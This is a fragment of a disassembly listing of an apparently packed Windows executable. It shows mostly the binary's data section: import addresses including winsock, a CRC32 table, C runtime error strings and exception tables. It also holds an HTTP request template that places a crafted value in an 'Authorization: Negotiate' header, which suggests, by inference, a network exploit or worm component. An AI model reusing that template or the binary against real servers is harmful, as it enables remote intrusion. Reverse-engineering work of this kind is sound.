loc_416610: ; DATA XREF: sub_416221o
mov eax, offset dword_418010
jmp loc_40BA83
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-10h]
jmp sub_4164E7
; ---------------------------------------------------------------------------
loc_416624: ; DATA XREF: sub_41627Eo
mov eax, offset dword_418038
jmp loc_40BA83
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-20h]
jmp loc_402583
; ---------------------------------------------------------------------------
loc_416638: ; DATA XREF: sub_41630Co
mov eax, offset dword_4180A0
jmp loc_40BA83
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-10h]
jmp sub_4164E7
; ---------------------------------------------------------------------------
loc_41664C: ; DATA XREF: sub_416366o
mov eax, offset dword_4180C8
jmp loc_40BA83
; ---------------------------------------------------------------------------
align 4
dd 26Ah dup(0)
dword_417000 dd 77E7C657h ; DATA XREF: .nsp0:00406074r
; sub_40A1F9+24r ...
dword_417004 dd 77E6BD68h ; DATA XREF: sub_415DF7+173r
dword_417008 dd 77E77F2Eh ; DATA XREF: sub_415B4F+3Er
; sub_415B4F+261r
dword_41700C dd 77E762D0h ; DATA XREF: sub_415B4F+5Br
; sub_415B4F+B9r
dword_417010 dd 77E70192h ; DATA XREF: sub_4155CD+F9r
dword_417014 dd 77E73FF9h ; DATA XREF: sub_414113+2Cr
dword_417018 dd 77E7FF2Eh ; DATA XREF: sub_413FE5:loc_414035r
; sub_41405C:loc_4140AFr
dword_41701C dd 77E7C866h ; DATA XREF: sub_413E07+3Fr
; sub_413E07+12Dr
dword_417020 dd 77E641EBh ; DATA XREF: sub_413E07+59r
; sub_413E07+8Dr
dword_417024 dd 77E7176Ch ; DATA XREF: sub_413DD8+8r
dword_417028 dd 77E7339Ch ; DATA XREF: sub_413DA0+Cr
dword_41702C dd 77E7C9E7h ; DATA XREF: sub_413D82+5r
; sub_413D93+6r
dword_417030 dd 77E78406h ; DATA XREF: sub_412D79+FFr
; sub_412D79+166r ...
dword_417034 dd 77E79C3Dh ; DATA XREF: sub_412D79+158r
; sub_41303D+143r
dword_417038 dd 77E7C931h ; DATA XREF: sub_412D79+19Dr
dword_41703C dd 77E77EE1h ; DATA XREF: sub_412C47+9r
dword_417040 dd 77E61BE6h ; DATA XREF: sub_401141+1C0r
; sub_401141+279r ...
dword_417044 dd 77F5157Dh ; DATA XREF: sub_401141+12Br
; sub_401141+24Cr ...
dword_417048 dd 77E7AC37h ; DATA XREF: sub_401141+10Br
; sub_401141+22Er ...
dword_41704C dd 77E7A099h ; DATA XREF: sub_401141+58r
; sub_401141+166r ...
dword_417050 dd 77E73C49h ; DATA XREF: sub_40154B+1B3r
; sub_401704+251r ...
dword_417054 dd 77F7E300h ; DATA XREF: sub_40154B+D5r
dword_417058 dd 77F7E21Fh ; DATA XREF: sub_40154B+9Br
dword_41705C dd 77E7751Ah ; DATA XREF: sub_40154B+2Cr
; sub_4032EE+C9r ...
dword_417060 dd 77E7C706h ; DATA XREF: sub_401704+77r
dword_417064 dd 77F53275h ; DATA XREF: sub_401704+6Br
; sub_401704+241r
dword_417068 dd 77E70F89h ; DATA XREF: sub_403145+Dr
; sub_40CC92+Dr
dword_41706C dd 77E75CB5h ; DATA XREF: sub_4032EE+465r
; sub_403B83+DFr ...
dword_417070 dd 77E61BB8h ; DATA XREF: sub_4032EE+44Fr
; sub_403B83+A7r ...
dword_417074 dd 77E77963h ; DATA XREF: sub_4032EE+224r
; sub_403B83+B8r ...
dword_417078 dd 77E79D8Ch ; DATA XREF: sub_4032EE+137r
; sub_4054C7+AEr ...
dword_41707C dd 77E7A837h ; DATA XREF: sub_4032EE+5Dr
; sub_405401+36r ...
dword_417080 dd 77E704FCh ; DATA XREF: sub_403B83+74r
; sub_406422+C9r ...
dword_417084 dd 77E805D8h ; DATA XREF: sub_4045F0+13Ar
; sub_4045F0+49Br ...
dword_417088 dd 77E7A5FDh ; DATA XREF: sub_4045F0+11r
; sub_410715+15r ...
dword_41708C dd 77E79F93h ; DATA XREF: sub_4045F0+2r
; sub_4054C7+FBr ...
dword_417090 dd 77E76A60h ; DATA XREF: sub_4052BA+2Dr
dword_417094 dd 77E71B14h ; DATA XREF: sub_405344+26r
dword_417098 dd 77E7166Fh ; DATA XREF: sub_405344+1Dr
dword_41709C dd 77E75090h ; DATA XREF: sub_40537F+69r
dword_4170A0 dd 77E74D76h ; DATA XREF: sub_40537F+36r
dword_4170A4 dd 77E77797h ; DATA XREF: sub_40537F+25r
dword_4170A8 dd 77E7011Ah ; DATA XREF: sub_405401+96r
dword_4170AC dd 77E73CE2h ; DATA XREF: sub_405401+60r
dword_4170B0 dd 77E668D9h ; DATA XREF: sub_4054C7+15Dr
dword_4170B4 dd 77E70396h ; DATA XREF: sub_4054C7+126r
; sub_406422+1BEr ...
dword_4170B8 dd 77E74CABh ; DATA XREF: sub_4054C7+10Fr
; sub_406422+1A7r ...
dword_4170BC dd 77E6AD34h ; DATA XREF: sub_4054C7+35r
; sub_406BAB+1FB8r
dword_4170C0 dd 77E79924h ; DATA XREF: sub_411E1B+20Dr
; sub_412C47+7Er ...
dword_4170C4 dd 77E77CCEh ; DATA XREF: sub_411E1B+DFr
; sub_411E1B+137r ...
dword_4170C8 dd 77E65F4Ch ; DATA XREF: .nsp0:00405F93r
dword_4170CC dd 77E79C90h ; DATA XREF: sub_4057AB+Cr
; sub_40D167+10r
dword_4170D0 dd 77E616B4h ; DATA XREF: sub_405816+193r
; sub_405AA1+1Fr ...
dword_4170D4 dd 77E706B7h ; DATA XREF: sub_405816+184r
; sub_405AA1+10r ...
dword_4170D8 dd 77E7513Ch ; DATA XREF: .nsp0:00406000r
dword_4170DC dd 77E73628h ; DATA XREF: sub_406422+326r
; sub_406BAB+25FFr ...
dword_4170E0 dd 77E80656h ; DATA XREF: sub_406422+252r
dword_4170E4 dd 77E6BD13h ; DATA XREF: sub_406422:loc_4065E6r
dword_4170E8 dd 77E79D5Bh ; DATA XREF: sub_406422+70r
; sub_406422+2FCr
dword_4170EC dd 77E7C2C4h ; DATA XREF: sub_406422+69r
dword_4170F0 dd 77E71AFEh ; DATA XREF: sub_406BAB+1E75r
dword_4170F4 dd 77E76C1Ah ; DATA XREF: sub_40A1F9+1CFr
dword_4170F8 dd 77E64106h ; DATA XREF: sub_40A1F9+1B6r
dword_4170FC dd 77E64006h ; DATA XREF: sub_40A1F9+19Fr
dword_417100 dd 77E75CEBh ; DATA XREF: sub_40AB8F+27r
dword_417104 dd 77F516F8h ; DATA XREF: sub_40B6FD+6Cr
; sub_40C4F8+C6r ...
dword_417108 dd 77F51597h ; DATA XREF: sub_40B771+60r
; sub_40EC83+2C5r ...
dword_41710C dd 77F6183Eh ; DATA XREF: sub_41643Er
dword_417110 dd 77F5722Fh ; DATA XREF: sub_40C4F8+110r
; sub_40C4F8+22Dr ...
dword_417114 dd 77E76E3Dh ; DATA XREF: sub_40CC92+6Cr
; sub_414438+38r
dword_417118 dd 77E61608h ; DATA XREF: sub_40CC92+17r
dword_41711C dd 77E6177Ah ; DATA XREF: sub_40D514+9Fr
; sub_412D79+59r
dword_417120 dd 77E7C938h ; DATA XREF: sub_40D514+74r
dword_417124 dd 77E7C486h ; DATA XREF: sub_40D514+26r
dword_417128 dd 77E7AC5Eh ; DATA XREF: sub_40EA6B+54r
dword_41712C dd 77E76E0Bh ; DATA XREF: sub_40EBB3+50r
dword_417130 dd 77E7C726h ; DATA XREF: sub_40EBB3+11r
dword_417134 dd 77E79E34h ; DATA XREF: sub_40EC83+240r
; sub_40F757+120r ...
dword_417138 dd 77E7980Ah ; DATA XREF: sub_40F2B5+76r
; sub_40F366+51r ...
dword_41713C dd 77E73196h ; DATA XREF: sub_413DBC+Cr
dword_417140 dd 77E6D706h ; DATA XREF: sub_40FF0F+215r
; sub_41653B+2Er
dword_417144 dd 77F522F2h ; DATA XREF: sub_411478+58r
dword_417148 dd 77E78B82h ; DATA XREF: sub_411848+84r
; sub_411848+155r
dword_41714C dd 77E77405h ; DATA XREF: sub_411E1B+5Er
; sub_411E1B+A7r
dword_417150 dd 77E781F9h ; DATA XREF: sub_411E1B+42r
; sub_411E1B+14Dr ...
dword_417154 dd 77E7849Fh ; DATA XREF: sub_41203F+48r
; sub_41227E+14r ...
dword_417158 dd 77E7A13Fh ; DATA XREF: sub_4121D8+2Fr
dword_41715C dd 77E6C703h ; DATA XREF: sub_4121D8+1Ar
dword_417160 dd 77E78C81h ; DATA XREF: sub_412573+4Fr
dword_417164 dd 77EB9A84h ; DATA XREF: sub_412765+138r
dword_417168 dd 77E9C5B1h ; DATA XREF: sub_412C47+11Fr
dword_41716C dd 77E7C9E1h ; DATA XREF: sub_412C47+CEr
dword_417170 dd 77E67702h ; DATA XREF: sub_412C47:loc_412C76r
; sub_412C47+E1r
align 8
dword_417178 dd 71AB1836h ; DATA XREF: sub_4043F8+6Er
; sub_404475+8Er
dword_41717C dd 71AB41DAh ; DATA XREF: sub_403E11+47r
; sub_4043F8+15r
dword_417180 dd 71AB155Ah ; DATA XREF: sub_403E11+9Dr
dword_417184 dd 71AB3ECEh ; DATA XREF: sub_403E11+C4r
dword_417188 dd 71AB5DE2h ; DATA XREF: sub_403E11+D8r
dword_41718C dd 71AB868Dh ; DATA XREF: sub_403E11+17Er
dword_417190 dd 71AB12F8h ; DATA XREF: sub_402972+2Cr
; sub_4043F8+35r
dword_417194 dd 71AB1746h ; DATA XREF: sub_402972+3Dr
; sub_403E11+B3r ...
dword_417198 dd 71AB3E5Dh ; DATA XREF: sub_402972+50r
; sub_4043F8+57r
dword_41719C dd 71AB3F8Dh ; DATA XREF: sub_402972+7Br
; sub_403E11+8Dr
dword_4171A0 dd 71AB5690h ; DATA XREF: sub_402972+B5r
; sub_402972+28Br ...
dword_4171A4 dd 71AB1A6Dh ; DATA XREF: sub_402972+26Fr
; sub_402972:loc_402DC8r ...
dword_4171A8 dd 71AB3C22h ; DATA XREF: sub_4023B8+AFr
; sub_402972+15r ...
dword_4171AC dd 71AB1AF4h ; DATA XREF: sub_4020C0+12r
; sub_402972+A4r ...
dword_4171B0 dd 71AB1890h ; DATA XREF: sub_401F1D+4Cr
; sub_403E11+115r
dword_4171B4 dd 71AB1B7Bh ; DATA XREF: sub_416438r
align 10h
aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_4022FD+62o
db 'Host: %s',0Dh,0Ah
db 'Authorization: Negotiate %s',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
dbl_417200 dq 1.388888888888889e-2 ; DATA XREF: sub_402112+2Fr
dbl_417208 dq 1.666666666666667e-1 ; DATA XREF: sub_402112+15r
dbl_417210 dq 1.333333333333333 ; DATA XREF: sub_40215E+7Ar
dword_417218 dd 2 dup(0) ; DATA XREF: sub_4022FD+4Do
; sub_40263D+57o ...
dbl_417220 dq -3.0517578125e-5 ; DATA XREF: sub_40301D+1Er
dword_417228 dd 0 ; DATA XREF: sub_403245+24r
dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh
byte_417624 db 8Dh ; DATA XREF: sub_40D768+4Ar
db 0EFh, 2, 2Dh
dbl_417628 dq 9.765625e-4 ; DATA XREF: sub_4032EE+2B8r
; sub_4032EE+2CDr ...
dbl_417630 dq 1.0 ; DATA XREF: sub_40B7DA+6Cr
; sub_40B923+6Cr ...
dword_417638 dd 0FFFFFFFFh, 40D5EBh, 40D5FFh ; DATA XREF: sub_40D514+5o
byte_417644 db 6 ; DATA XREF: sub_40D768:loc_40D7BFr
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
dd 8000008h, 7000800h, 8
aNull: ; DATA XREF: .nsp0:off_41DBFCo
unicode 0, <(null)>,0
align 10h
aNull_0 db '(null)',0 ; DATA XREF: .nsp0:off_41DBF8o
align 4
a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_40EA6B+8Eo
align 10h
a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_40EA6B+4Fo
align 4
a_yn db '_yn',0
a_y1 db '_y1',0
a_y0 db '_y0',0
aFrexp db 'frexp',0
align 4
aFmod db 'fmod',0
align 4
a_hypot db '_hypot',0
align 4
a_cabs db '_cabs',0
align 4
aLdexp db 'ldexp',0
align 4
aModf db 'modf',0
align 4
aFabs db 'fabs',0
align 4
aFloor db 'floor',0
align 4
aCeil db 'ceil',0
align 4
aTan db 'tan',0
aCos db 'cos',0
aSin db 'sin',0
aSqrt db 'sqrt',0
align 10h
aAtan2 db 'atan2',0
align 4
aAtan db 'atan',0
align 10h
aAcos db 'acos',0
align 4
aAsin db 'asin',0
align 10h
aTanh db 'tanh',0
align 4
aCosh db 'cosh',0
align 10h
aSinh db 'sinh',0
align 4
aLog10 db 'log10',0
align 10h
aLog_0 db 'log',0
aPow db 'pow',0
aExp db 'exp',0 ; DATA XREF: .nsp0:off_41FC3Co
align 10h
dbl_4177A0 dq 0.0 ; DATA XREF: sub_4101C2+8Cr
; sub_4101C2+ACr ...
dbl_4177A8 dq 4.195835e6 ; DATA XREF: sub_4106D7+Fr
dbl_4177B0 dq 3.145727e6 ; DATA XREF: sub_4106D7+6r
aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_410715+Fo
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_410715o
align 10h
aE000 db 'e+000',0 ; DATA XREF: sub_41083C+93o
align 4
dword_4177E8 dd 0FFFFFFFFh, 410F27h, 410F31h, 0 ; DATA XREF: sub_410EC0+5o
dword_4177F8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_410FEF+5o
dd offset loc_4110AD
align 8
dd offset sub_41108B
dd offset sub_411095
dword_417810 dd 0FFFFFFFFh, 4112DDh, 4112E1h, 0 ; DATA XREF: sub_411125+5o
dword_417820 dd 0FFFFFFFFh, 41133Fh, 411348h, 0 ; DATA XREF: sub_4112E9+5o
dword_417830 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4113CC+5o
dd offset loc_41141D
align 10h
dd offset loc_411409
dd offset loc_41140D
dword_417848 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_411422+5o
dd offset loc_411473
align 8
dd offset loc_41145F
dd offset loc_411463
dword_417860 dd 2 dup(0) ; DATA XREF: sub_411E1B+36o
; sub_413E07+39o ...
dword_417868 dd 0FFFFFFFFh, 411F2Bh, 411F2Fh, 0FFFFFFFFh, 411FDFh, 411FE3h
; DATA XREF: sub_411E1B+5o
dd 746E7572h, 20656D69h, 6F727265h, 2072h, 0A0Dh, 534F4C54h
dd 72652053h, 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh
dd 0
dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
dd 65682065h, 0A0D7061h, 0
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 4
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 4
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 4
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 4
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 4
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 4
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra db 0Dh,0Ah
db 'abnormal program termination',0Dh,0Ah,0
align 4
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 4
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .nsp0:off_420284o
db '- floating point not loaded',0Dh,0Ah,0
align 4
aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41303D+119o
align 4
asc_417B34 db 0Ah ; DATA XREF: sub_41303D+F1o
db 0Ah,0
align 4
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_41303D+D3o
db 0Ah
db 'Program: ',0
align 4
a___ db '...',0 ; DATA XREF: sub_41303D+BFo
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_41303D+7Do
align 10h
dword_417B70 dd 0FFFFFFFFh, 413F00h, 413F04h ; DATA XREF: sub_413E07+5o
aSunmontuewedth db 'SunMonTueWedThuFriSat',0
align 4
aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
align 4
aTz db 'TZ',0 ; DATA XREF: sub_414438+Ao
align 10h
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_4149C4+3Do
align 4
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_4149C4+35o
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_4149C4+24o
a1Qnan db '1#QNAN',0 ; DATA XREF: sub_4151C8:loc_4152BDo
align 4
a1Inf db '1#INF',0 ; DATA XREF: sub_4151C8+D8o
align 10h
a1Ind db '1#IND',0 ; DATA XREF: sub_4151C8+C7o
align 4
a1Snan db '1#SNAN',0 ; DATA XREF: sub_4151C8+ADo
align 10h
dword_417C10 dd 0FFFFFFFFh, 415D06h, 415D0Ah, 0FFFFFFFFh, 415D75h, 415D79h
; DATA XREF: sub_415B4F+5o
dd 417D38h
off_417C2C dd offset loc_4162D8 ; DATA XREF: sub_4160E0+4Do
; sub_4162F4+Co
dd offset sub_41619E
dd offset sub_4162BB
aStringTooLong db 'string too long',0 ; DATA XREF: sub_4160E0+1Eo
dd offset dword_417D70
off_417C4C dd offset loc_416205 ; DATA XREF: sub_41613A+4Eo
; sub_4161C8+11o ...
dd offset sub_41619E
dd offset sub_4161AB
dword_417C58 dd 0FFFFFFFFh ; DATA XREF: sub_41613A+3Br
; sub_416221+34r
dd offset dword_417DC0
off_417C60 dd offset loc_4163C0 ; DATA XREF: sub_41630C+4Do
; sub_4163DC+Co
dd offset sub_41619E
dd offset sub_4163A3
aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_41630C+1Eo
dd offset dword_417DF0
off_417C88 dd offset sub_416444 ; DATA XREF: sub_416460+8o
; sub_41649D+8o ...
dd offset sub_4164FD
aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_4164FD+7o
align 4
dd offset dword_417E38
off_417CA8 dd offset loc_41651F ; DATA XREF: sub_41650Ao
; .nsp0:off_4209A8o ...
align 10h
dword_417CB0 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_41653B+Eo
dd 3, 19930520h, 2 dup(0)
off_417CD0 dd offset off_4209A8 ; DATA XREF: .nsp0:00417D20o
; .nsp0:00417D54o ...
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
off_417CE8 dd offset off_4209C0 ; DATA XREF: .nsp0:00417D1Co
; .nsp0:00417D50o ...
dd 1, 0
dd 0FFFFFFFFh, 2 dup(0)
off_417D00 dd offset off_4209E0 ; DATA XREF: .nsp0:00417D18o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_417D00
dd offset off_417CE8
dd offset off_417CD0
dd 0
db 0 ; DATA XREF: .nsp0:00417D48o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 3, 417D18h, 3 dup(0)
dd offset off_4209E0
dd offset unk_417D28
align 10h
dd offset off_417CE8
dd offset off_417CD0
dword_417D58 dd 4 dup(0) ; DATA XREF: .nsp0:00417D80o
dd 2, 417D50h
dword_417D70 dd 3 dup(0) ; DATA XREF: .nsp0:00417C48o
dd offset off_4209C0
dd offset dword_417D58+8
dd 0
off_417D88 dd offset off_420A00 ; DATA XREF: .nsp0:00417DA0o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_417D88
dd offset off_417CE8
dd offset off_417CD0
dword_417DAC dd 3 dup(0) ; DATA XREF: .nsp0:00417DD0o
dd 3, 417DA0h
dword_417DC0 dd 3 dup(0) ; DATA XREF: .nsp0:00417C5Co
dd offset off_420A00
dd offset dword_417DAC+4
dd offset off_417CD0
dword_417DD8 dd 4 dup(0) ; DATA XREF: .nsp0:00417E00o
dd 1, 417DD4h
dword_417DF0 dd 3 dup(0) ; DATA XREF: .nsp0:00417C84o
dd offset off_4209A8
dd offset dword_417DD8+8
align 8
off_417E08 dd offset off_420A20 ; DATA XREF: .nsp0:00417E20o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_417E08
dd 0
db 0 ; DATA XREF: .nsp0:00417E48o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 1, 417E20h
dword_417E38 dd 3 dup(0) ; DATA XREF: .nsp0:00417CA4o
dd offset off_420A20
dd offset unk_417E28
align 10h
dd 0FFFFFFFFh, 416580h, 0
dd offset sub_416578
dword_417E60 dd 19930520h, 2, 417E50h, 4 dup(0) ; DATA XREF: .nsp0:loc_416597o
dd 0FFFFFFFFh, 4165A4h, 0
dd offset loc_4165AC
dword_417E8C dd 19930520h, 2, 417E7Ch, 4 dup(0) ; DATA XREF: .nsp0:loc_4165B4o
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 4 dup(0)
dd offset loc_4028A3
align 10h
dd 2 dup(1), 417EB8h
dword_417EDC dd 19930520h, 2, 417EA8h, 1, 417EC8h, 3 dup(0)
; DATA XREF: .nsp0:loc_4165C0o
dd offset off_4209A8
dd 0
dd 0FFFFFFFFh, 0
dd 0Ch, 41649Dh, 2 dup(0)
dd offset off_4209C0
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 416221h, 2 dup(0)
dd offset off_4209E0
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 4162F4h, 0
dword_417F58 dd 3, 417F38h, 417F18h, 417EF8h ; DATA XREF: .nsp0:00417F74o
dword_417F68 dd 0 ; DATA XREF: sub_4160E0+47o
; sub_4162BB+12o
dd offset sub_41627E
dd 0
dd offset dword_417F58
dword_417F78 dd 19930520h, 1, 417F98h, 5 dup(0) ; DATA XREF: .nsp0:loc_4165D4o
dd 0FFFFFFFFh, 4165CCh
dword_417FA0 dd 19930520h, 1, 417FC0h, 5 dup(0) ; DATA XREF: .nsp0:loc_4165E8o
dword_417FC0 dd 0FFFFFFFFh, 4165E0h, 2, 417F18h, 417EF8h, 0 ; DATA XREF: .nsp0:00417FE4o
dword_417FD8 dd 0 ; DATA XREF: sub_4161AB+12o
dd offset sub_4161C8
dd 0
dd offset dword_417FC0+8
dword_417FE8 dd 19930520h, 1, 418008h, 5 dup(0) ; DATA XREF: .nsp0:loc_4165FCo
dd 0FFFFFFFFh, 4165F4h
dword_418010 dd 19930520h, 1, 418030h, 5 dup(0) ; DATA XREF: .nsp0:loc_416610o
dd 0FFFFFFFFh, 416608h
dword_418038 dd 19930520h, 1, 418058h, 5 dup(0) ; DATA XREF: .nsp0:loc_416624o
dd 0FFFFFFFFh, 41661Ch, 0
dd offset off_420A00
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 4163DCh, 0
dword_418080 dd 3, 418060h, 417F18h, 417EF8h ; DATA XREF: .nsp0:0041809Co
dword_418090 dd 0 ; DATA XREF: sub_41630C+47o
; sub_4163A3+12o
dd offset sub_416366
dd 0
dd offset dword_418080
dword_4180A0 dd 19930520h, 1, 4180C0h, 5 dup(0) ; DATA XREF: .nsp0:loc_416638o
dd 0FFFFFFFFh, 416630h
dword_4180C8 dd 19930520h, 1, 4180E8h, 5 dup(0) ; DATA XREF: .nsp0:loc_41664Co
dd 0FFFFFFFFh, 416644h, 182A4h, 2 dup(0)
dd 182E8h, 17178h, 1812Ch, 2 dup(0)
dd 1897Ch, 17000h, 77h dup(0)
dd 349h, 0
dd 169h, 3 dup(0)
dd 69h, 3 dup(0)
dd 175h, 4 dup(0)
dd 0B00000h, 3 dup(0)
dd 247h, 5 dup(0)
dd 8Fh, 5 dup(0)
dd 1D5h, 3 dup(0)
dd 21Ah, 9 dup(0)
dd 7Ah, 5 dup(0)
dd 16Bh, 3 dup(0)
dd 0AFh, 2 dup(0)
dd 600000h, 4 dup(0)
dd 2Eh, 2 dup(0)
dd 3970000h, 2 dup(0)
dd 4D0000h, 3 dup(0)
dd 1B9h, 4 dup(0)
